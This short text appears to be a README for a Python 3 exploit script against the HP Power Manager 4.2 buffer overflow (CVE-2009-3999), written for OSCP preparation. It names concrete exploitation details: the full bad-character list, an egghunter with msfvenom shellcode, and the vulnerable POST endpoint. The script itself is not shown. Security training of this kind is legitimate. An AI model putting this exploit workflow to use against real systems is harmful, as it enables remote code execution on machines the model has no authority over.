As part of my OSCP preparation I came across CVE-2009-3999 (HP Power Manager 4.2 (Build 7) Buffer Overflow exploit).

This latest script is updated to resolve Python 3 compatibility issues regarding string and byte handling, ensuring the payload is transmitted as raw binary to avoid memory mangling.

This version features an automated msfvenom integration that dynamically generates shellcode with the correct bad characters (\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c), attaches it to a specialized Egghunter, and transmits the final payload via a POST request to the formExportDataLogs endpoint. It is designed for educational use and security auditing, simplifying the exploitation workflow by handling shellcode generation and listener startup under one hood.
